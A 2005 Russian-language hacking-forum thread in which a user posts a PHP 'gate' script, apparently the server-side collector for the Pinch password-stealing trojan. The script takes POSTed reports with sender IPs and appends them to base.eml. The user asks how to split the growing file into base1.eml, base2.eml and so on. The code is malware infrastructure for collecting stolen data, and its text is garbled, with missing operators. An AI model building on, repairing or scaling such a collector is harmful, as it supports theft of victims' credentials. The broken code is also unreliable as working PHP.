Пинч Гэит

Discussion in 'PHP' started by x_Lex, 18 Sep 2005.

  1. x_Lex

    x_Lex Elder - Старейшина

    Joined:
    8 Jan 2005
    Messages:
    185
    Likes Received:
    118
    Reputations:
    171
    Пмогите пожалуйсто.
    Этот гэйт сохроняет отчеты в письмо base.eml (этакая база данных) как мне сделать чтоб скрипт при размере файла (base.eml)9мб продолжал запись в base1.eml base2.eml base3.eml base4.eml и т.д.
    Спасибо за внемание


    PHP:
    <?
    $ip=getenv("REMOTE_ADDR");
    $email=$_POST['a'];
    $subject=$_POST['b']."(".$ip.")";
    $msg=$_POST['c'];
    if (
    $msg<>''){
    $tmp $msg;
    $msg=eregi_replace(" ","+",$tmp);
    $var $ip " - " rand(0,9) . rand(0,9) . rand(0,9) . ".bin";
    $var2 "\n\n";
    $headers "--NextPart\n";
    $headers .= "Content-Type: application/octet-stream; name=\"".$var."\"\n";
    $headers .= "Content-Transfer-Encoding: base64\n";
    $headers .= "Content-Disposition: attachment; filename=\"".$var."\"\n\n";

    @
    $pfp1 fopen('base.eml'"r" );
    $ds=@fread ($pfp1filesize('base.eml'));
    @
    fclose($pfp1);

    @
    $pfp1 fopen('base.eml'"w+" );
    @
    fputs ($pfp1$ds);
    @
    fputs ($pfp1$var2);
    @
    fputs ($pfp1$headers);
    @
    fputs ($pfp1$msg);
    @
    fclose($pfp1);
    };
    ?>

    <!-- REQUIRED -->
    <script language="JavaScript">
    window.status = "_ret_ok_1";
    </script></body></html>
     
  2. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    #2 nerezus, 18 Sep 2005
    Last edited by a moderator: 24 Sep 2005